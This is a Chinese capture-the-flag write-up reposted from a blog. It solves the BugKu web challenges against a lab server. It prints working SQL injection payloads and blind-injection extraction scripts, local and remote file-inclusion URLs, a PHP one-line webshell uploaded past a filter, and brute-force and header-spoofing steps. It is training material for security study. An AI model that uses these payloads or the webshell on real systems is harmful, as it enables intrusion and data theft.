BugKu Web篇通关wp

目录

BugKu Web篇通关wp
0x01 WEB2
0x02 计算器
0x03 web基础$_GET
0x04 web基础$_POST
0x04 矛盾
0x05 WEB3
0x06 域名解析
0x07 你必须让他停下
0x08 本地包含
0x09 变量1
0x10 WEB5
0x11 头等舱
0x12 网站被黑
0x13 管理员系统
0x14 web4
0x15 flag在index里
0x16 输入密码查看flag
0x17 备份是个好习惯
0x18 成绩单
0x19秋名山老司机
0x20 速度要快
0x21 Cookie欺骗
0x22 never give up
0x23 字符?正则?
0x24 你从哪里来
0x25 md5 collision(NUPT_CTF)
0X26 程序员本地网站
0x27 各种绕过
0x28 txt????
0x29 细心
0x30 getshell
0x31 INSERT INTO 注入
0x32 多次
0x33 PHP_encrypt_1
0x34 flag.php
0x40 sql注入2
0x41 孙XX的博客
0x42 Trim

0x01 WEB2

没啥好说的直接F12打开控制台,找到Flag 过!
在这里插入图片描述
0x02 计算器

在这里插入图片描述
需要计算64+65的结果,F12打开控制台,发现
在这里插入图片描述
修改为10,就可以输入了,得到flag过!

在这里插入图片描述
0x03 web基础$_GET

简单的get传参,直接通过url传参即可
在这里插入图片描述
0x04 web基础$_POST

类似get的操作,这里使用hackbar实现

在这里插入图片描述

在这里插入图片描述
0x04 矛盾

这里考察PHP中的一个知识点。函数is_numeric() 判断变量是否为数字意思是 num既不是纯数字,又要等于1 所以就构造一个 num=1wahh(开头为1,字母随意) 提交上去

在这里插入图片描述
0x05 WEB3

一进去就是是无需循环的弹窗
在这里插入图片描述
直接检查源码
在源码的最下面有一串union编码,到相关的网站里面即可解码
KEY{J2sa42ahJK-HS11III}
0x06 域名解析

在这里插入图片描述
我们先进入到123.206.87.240中发现:
在这里插入图片描述
400 其含义是你访问的页面域名不存在或者请求错误。主要分为两种。
1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
2、请求参数有误。
400的主要有两种形式:
1、bad request意思是“错误的请求";
2、invalid hostname意思是"不存在的域名”。

题目已经提示我们要进行域名解析,那么就需要修改http请求中的host

在这里插入图片描述
通过插件,伪装host
在这里插入图片描述
得到Flag
0x07 你必须让他停下

打开的时候发现发现一直在不停的发送请求更新页面,大概几次就会出现一个图案,这里只需要使用bs进行截断然后慢慢分析即可

在这里插入图片描述
找到图片正常显示的那个地方,F12打开控制台,即可发现flag
0x08 本地包含

这个题目现在好像已经崩了,但是题目还是挺经典的
在这里插入图片描述
发现源码里面出现了eval()而且没有做任何的过滤,出现了include和request就是典型的文件包含漏洞了。

我们可以直接构造 hello=show_source(%27flag.php%27);//

在这里插入图片描述
直接获取flag
0x09 变量1

上来给了一段代码,相对代码进行解析

flag In the variable ! <?php

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ // 获取get参数args
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ // 正则匹配获取args中的字母或数字
die("args error!");
}
eval("var_dump($$args);");
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13

这里说一下php的var_dumps()函数
显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

这里设计到php中的全局数组变量,$GLOBALS 是由所以定义的全局变量组成的数组,变量名就是该数组的索引,在所有脚本中都有效,在函数或对象中的方法中不需要使用关键字global访问,在函数外部声明全局变量,可以使用$_GLOBALS 数组替代global 关键字

构造这样的urlhttp://123.206.87.240:8004/index1.php?args=GLOBALS flag get !
在这里插入图片描述
0x10 WEB5

F12 打开,发现了一堆JSFUCK编码,直接负责到控制台来翻译一下

在这里插入图片描述
这里需要从源码里复制,要不太多了控制台里面显示不全

在这里插入图片描述
提交之后居然还给我显示这个
在这里插入图片描述

题目提示了,字母要大写。那就用大写的提交呗

在这里插入图片描述
flag get
0x11 头等舱

点击发现这个画面
在这里插入图片描述

查看源码也是什么都没有,那就抓一下包吧

在这里插入图片描述
flag get !
0x12 网站被黑

题目提示实战经常遇到,而且是php的网页,没办法用御剑扫一下吧
在这里插入图片描述

扫到一个嘿嘿,进去看一看

在这里插入图片描述

尝试了一些弱密码都不行,尝试使用burp suite进行暴力破解。

在这里插入图片描述
在这里插入图片描述
成功了!

在这里插入图片描述

flag get !
0x13 管理员系统

尝试输入会发现IP被禁止,F12检查以下源码发现了这个东西
在这里插入图片描述
base64解码之后是test123

尝试
在这里插入图片描述
发现还是不行,就考虑到应该是对方设置了访问IP现在,那么我们就需要伪造IP了,这里就设计到XFF协议,简单的说就是修改请求头中的这个
在这里插入图片描述
在这里插入图片描述
flag get !
0x14 web4

在这里插入图片描述
检查源代码我们发现是一堆url编码

解码之后拼起来就变成了

function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).οnsubmit=checkSubmit;
0x15 flag在index里

题目直接提示flag在index里,然后在看看url,有一个file= 猜测可能是一个php的文件包含漏洞。尝试下面的url

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
以base64的方式解析出index.php的内容,然后在进行base64解码即可

在这里插入图片描述
0x16 输入密码查看flag

在这里插入图片描述

看到这个5位的密码,在检查源码和抓包之后都没有发现什么端倪,尝试bp一波

这里想尝试一下5位数字,5位字母需要的时间太长了
在这里插入图片描述
在这里插入图片描述
爆破成功啦!
在这里插入图片描述
0x17 备份是个好习惯

打开之后是一串编码

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

尝试了一下不是普通的编码格式,题目提示备份是一个好习惯,但是观察url有没有直接引用文件。所以尝试访问index.php,发现页面显示访问正常,备份文件的后缀为bak,尝试访问index.php.bak 文件被下载下来了。

<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 获取?之后的字符串(包括?)
$str = substr($str,1); // 获取从第二位之后的字符串
$str = str_replace('key','',$str); // 将 key替换为 空
parse_str($str); // 解析传入的变量
echo md5($key1); // md5加密

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

代码的解析已经写在注释里了,主要有用到两个思想

混写绕过, kkeyey1在被上述的代码处理后救变成了key1
php中的数组在md5加密后结果是一样的

所以可以构造这样的代码

http://123.206.87.240:8002/web16/index.php?kkeyey1[]=ahhhh&kkeyey2[]=ahh
0x18 成绩单

这题很经典!!! 你可以在这题里面掌握基础的sql手工注入的技巧

这里有个成绩查询的功能
在这里插入图片描述
输入数字可以查询人的成绩

为了方便我们使用HackBar的插件来发送post请求
我们发现发送id=1’没有回显,输入id=1’#有回显,接下来通过order by来确定数据库的列数

id=1' order by 1# // 有回显
id=1' order by 2# // 有回显
id=1' order by 3# // 有回显
id=1' order by 4# // 有回显
id=1' order by 5# // 无回显

1
2
3
4
5

可以确定数据库有4列,接下来使用select 1,2,3,4来进行入住

在这里插入图片描述
id=0' union select 1,database(),user(),version()#
在这里插入图片描述
成功查询到数据库名称,接下来查询表名。

这里有一个固定的查询方式id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#

在这里插入图片描述

查询到有fl4g和sc两个表

直接查询fl4g就好啦
在这里插入图片描述
flag get!!!
0x19秋名山老司机

这道题的知识点有如下几点:

正则表达式 / Xpath 匹配
session保持会话
post发送消息

主要的思路就是迅速的计算出结果然后发送post消息,废话不多说直接上python脚本代码

import requests
from lxml import etree

url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.session()
re = s.get(url=url).text
tree = etree.HTML(re)
cal = tree.xpath('/html/body/div[1]/text()')
result = eval(cal[0][:-3])
post = {
'value': result
}
flag = s.post(url=url, data=post).text
print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

在这里插入图片描述
flag get !!!
0x20 速度要快

打开网页看到一行字, 我觉得你要快点

打开Burp Suite,放到Reapeater里Go之后发现
在这里插入图片描述
里面有一个flalg,很明显的base64编码进行解码,我们可以得到:跑的还不错,给你flag吧: OTQ3NTc5,一提交发现是错的。。。

它提示,需要将这个margin通过post消息发送,接下来开始python编码。

import requests
import base64

se = requests.session()
url = 'http://123.206.87.240:8002/web6/'
result = se.get(url)
base = result.headers['flag'][-12:]
flag = base64.b64decode(base64.b64decode(base))
data = {'margin': flag}
flag = se.post(url=url, data=data).text
print(flag)

1
2
3
4
5
6
7
8
9
10
11

发送之后可得到flag
在这里插入图片描述
0x21 Cookie欺骗

打开网页后一堆东西,啥都得不到,观察一下url发现url里面好像包含了一个base64编码。进行解码得到keys.txt
我们类似的可以尝试一下index.php的base64的编码。访问之后什么都看不到,尝试修改一下line的数值发现可以得到index.php里的内容,整理一下我们可以得到

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

我们将filename的值改为index.php的base64编码:a2V5cy5waHA=。然后将Cookie的设为margin=margin
可以用如下的python代码获取flag

import requests

url = 'http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA='
cookie = {'margin': 'margin'}

headers = {'Cookie': 'margin=margin'}
result = requests.get(url=url,headers=headers).text
print(result)

1
2
3
4
5
6
7
8

0x22 never give up

先检查源码:
在这里插入图片描述
尝试访问一下,发现会跳转到bugku的首页
看一下1p.html的源码
view-source:http://123.206.87.240:8006/test/1p.html
在这里插入图片描述
发现一些url编码,然后进行解压,可以得到一串base64编码,再进行解码,又得到一串url编码,再进行解码,我去无限套娃是不是?然后终于得到了代码:

if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

代码中可以看到flag应该是存储在f4l2a3g.txt,尝试在url里访问一下,falg get
在这里插入图片描述
0x23 字符?正则?

通过对题目的阅读我们可以发现,主要是思路是绕过正则,那么接下来我们来分析一下这个正则。

/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

.* 匹配任意多个字符
. 匹配任意单个字符
{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7
/ 转义 “/”
[a-z] 匹配任意一个小写字母
[:punct:] 匹配任意标点符号
/i 表示不区分大小写

所以我们可以构造出来一个这样的正则

keylalalakey6666key:/6/keyz:

结合代码我们可以知道,只需要通过get请求的方式传入即可

http://123.206.87.240:8002/web10/?id=keylalalakey6666key:/6/keyz:

在这里插入图片描述

key 出来了!
0x24 你从哪里来

在这里插入图片描述

很明显了,就是想让我们伪装一下请求头就ok了,没什么难度直接过, 修改请求头中的Referer字段即可

在这里插入图片描述

在这里插入图片描述
0x25 md5 collision(NUPT_CTF)

本题的主要思路是:根据==用法,0 == 字符串是成立的,从而可以绕过MD5检查。

所以只需要构造一个0开头的md5码即可,我们可以构造一个这样的md5码,s878926199a ,传入即可获取flag

在这里插入图片描述
0X26 程序员本地网站

一打开几面就提示请从本地访问,尝试一下把Client-ip求改为127.0.0.1。成功获取flag
在这里插入图片描述
0x27 各种绕过

上来就给了一大串代码,让我们来分析分析

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']); // get传参获取id
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) { // get传参获取uname,post传参获取passwd【不为NULL】
if ($_GET['uname'] == $_POST['passwd']) // uname和passwd的值不能为NULL
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) // 比较sha1加密后结果

die('Flag: '.$flag);

else
print 'sorry!';
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

这里其实用的是ctf里面一个经常出现的绕过方式了,原理就是php中数组在sha1加密后数值相同。构造一下就可

在这里插入图片描述
在这里插入图片描述

flag轻松获取了
0x28 txt???

先来分析一下代码

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

大体就是读入一个文件,然后让他的内容和ac的值相等,因为我是有云服务器且部署好了static文件夹,就自己手动输入一个txt在云服务器上然后控制他们的值相等就可以了
大致的url是这样的

http://123.206.87.240:8002/web8/?ac=wahh&fn=http://xxx.xxx.xxx.xxx/text.txt
0x29 细心

在这里插入图片描述

拿到题目之后是这样的,啥信息也没有,就尝试去各种常用路径里面看看,之后发现了robot.txt里面有东西
在这里插入图片描述
我们到resusl.php里去看一看
在这里插入图片描述
提示了这个信息,这里的我的IP打了马赛克,然后下面提示了我们可以传入x作为密码。那就先尝试尝试一些弱密码吧
试了下admin居然直接就可以了。。。。
在这里插入图片描述
0x30 getshell

在这里插入图片描述

很明显的文件上传漏洞,我们来试一试吧,上传一句话木马<?php eval(@$_POST['a']); ?>试一试

在这里插入图片描述
提示不能上传,那就先把后缀改为jpg,试试看然后使用bp中途把改回php,尝试之后发现还是不行。

那就尝试尝试php5这样的可不可以绕过吧。发现还是不行,又仔细看了看包的内容发现还有一个Content-Type把他大小写绕过一下看看。结果成功上传!

POST /web9/index.php HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 310
Cache-Control: max-age=0
Origin: http://123.206.87.240:8002
Upgrade-Insecure-Requests: 1
Content-Type: MulTipart/form-data; boundary=----WebKitFormBoundarylB9qExaaIBaDtX4o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://123.206.87.240:8002/web9/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: xadsccerfbuawerf=CN
Connection: close

------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="file"; filename="shell.php5"
Content-Type: image/jpeg

<?php eval(@$_POST['a']); ?>
------WebKitFormBoundarylB9qExaaIBaDtX4o
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarylB9qExaaIBaDtX4o--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

在这里插入图片描述
0x31 INSERT INTO 注入

题目给出了php代码,我们先分析一下

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

可以看到,这里的代码信息是获取我们的IP并插入到数据库中。

可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,不用担心,我们有下面的代码进行替换。

select case when (条件) then 代码1 else 代码 2 end;

让我们构造一下payload,爆出数据库和列名的过程我就掠过了,原理基本相同

127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

这里手工注入太累了,我们写一个脚本来帮助一下。因为现在bugku的免费访问版速度实在是太慢了,所以我们把sleep的时间改成10,然后下面的timeout也设置成8,这样就没有什么问题了。

import requests
from tqdm import tqdm
url = "http://123.206.87.240:8002/web15/"
flag = ""
for i in tqdm(range(1, 33)):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(
i) + " for 1 )='" + str1 + "') then sleep(10) else 1 end )) #"
# print data
headers = {"x-forwarded-for": data}
try:
result = requests.get(url, headers=headers, timeout=8)
except requests.exceptions.ReadTimeout as e:
flag += str1
print(flag)
break
print('flag:' + flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

0x32 多次

这题为sql注入,先让我们进行一下分析

加 ’ 报错
’ --++ 正常
‘ and 1=1 --++报错

应该是进行了过滤吧,可以尝试双写绕过,比如and 写成aandnd,便可成功绕过

下面给出爆出个信息的payload

数据库

?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23

在这里插入图片描述

数据表

id=-1%27%20ununionion%20seselectlect%201,%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()--++
在这里插入图片描述

很明显flag1里面应该是我们要的。

列名

?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23

在这里插入图片描述
然后我们选择flag1这一列

?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
在这里插入图片描述
flag get ! 才怪!! 还真是多次,梅开二度了还。

既然flag1里没有我们想要的东西,那么就去address里面看看,构造如下的payload

?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(address)%20from%20flag1%20%23
在这里插入图片描述
看来是没那么简单啊。我们再进去看看

在这里插入图片描述
继续呗

’ 报错
’–++ 正常显示
’ and 1=1 报错
’ anand 1=1 报错
1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#

看来是换waf的模式,经过几番尝试发现可以运用updatexml()漏洞思想入侵。

查表:?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
在这里插入图片描述

查字段名:?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
在这里插入图片描述

查字段:?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

在这里插入图片描述
0x33 PHP_encrypt_1

上来给了一个代码

<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

靠的应该是php的反序列化,根据序列化代码写出反序列化代码如下

<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // decode the string
$md_len = strlen($tmp); // get the length of the string
for ($i=0; $i < $md_len; $i++) {
if ($x == $klen)
$x = 0;
$char .= $mkey[$x]; /
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) {
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) {
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od);
$data2 .= chr($dd-$od);
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

最后得到flag为{asdqwfasfdwfefqdqwdadwqdaw*}
0x34 flag.php

一进去发现一个不能按的登陆按钮,其他的信息就什么都没有了,想起题目提示了hint,就像试试看访问一些hint相关的内容,之后发现访问http://123.206.87.240:8002/flagphp/?hint=2可以访问。之后得到了代码,再看看代码吧

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; // 获取Cookie
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") // 对cookie的值进行反序列化
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

通过解析代码我们可以知道,需要在Cookie中包含一个字段ISecer,这个字段的值反序列化之后需要为KEY的值,这里需要注意代码是从上往下运行的所以现在的KEY是空

<?php
echo serialize('');
?>
output:s:0:"";

1
2
3
4

将s:0:""; 传入,发现还是不对。发现把;进行url编码后才可以。这里还需要注意因为代码里面写的是else if所有不能在同时传参hint,否则没用!
在这里插入图片描述
0x40 sql注入2

题目提示,几乎把所有的关键字都过滤了。所以我们首先需要确认到底哪些关键字被过滤。尝试进行输入发现,如果输入被过滤的关键字会有提示。我们打开Burp Suite抓一下包,然后用关键字密码字典爆破一下,看哪些关键字没有被过滤。
首先我们构造这样的payload来判断过滤了哪些关键字
在这里插入图片描述
加载一下常用的关键字,这个字典随便百度一下就有了,还是比较全的
在这里插入图片描述
长度位367的是没有过滤的,370的是已经过滤了的
在这里插入图片描述
根据结果可以发现,能用的只有一些异或运算符了。这题主要应该是运用异或注入。

通过尝试admin等常规若口令我们可以得到,是有admin这个用户的。

这里补充几个知识点:

sql语句是可以处理减法的
字符串被视为0

如果这题构造这样的payloadadmin' -(sql语句)-'a
由于此题把空格给毙掉了。所以常规的语句写法都不能用 ,而且union,and,or这样的都被屏蔽了。emmm这里是真的难搞,最后决定大胆的尝试字段名passwd,还真被猜中了,写个代码求解一下答案吧

import requests
from tqdm import tqdm
url = "http://123.206.87.240:8007/web2/login.php"

letters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

password = ""
for i in tqdm(range(1, 50)):
for j in letters:
payload = "admin'-(ascii(substring((passwd)from(" + str(i) + ")))=" + str(ord(j)) + ')' + "-'a"
data = {
'uname': payload,
'passwd': '233'
}
r = requests.post(url=url, data=data)
if "username error!!@_@" in str(r.content):
password += j
print(password)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

最后得到一个32位的字符串,应该是一串md5吗,解码之后结果就是admin123,尝试用这个登陆一下。

在这里插入图片描述
ls一下就出来结果了。。。
在这里插入图片描述
0x41 孙XX的博客

在这里插入图片描述
题目提示,需要用到渗透测试第一步信息收集
0x42 Trim

几番尝试之后没有什么结果,就使用御剑进行了扫描了一下
在这里插入图片描述
尝试了 show.php ,发现flag里面直接就有了。。
————————————————
原文链接:https://blog.csdn.net/python_LC_nohtyp/article/details/107700581

站内直达链接:堆栈导航——BugKu Web

版权声明:vlifanv 发表于 2021-09-08 20:21:18。
转载请注明:BugKu Web篇通关wp | 堆栈导航

暂无评论

暂无评论...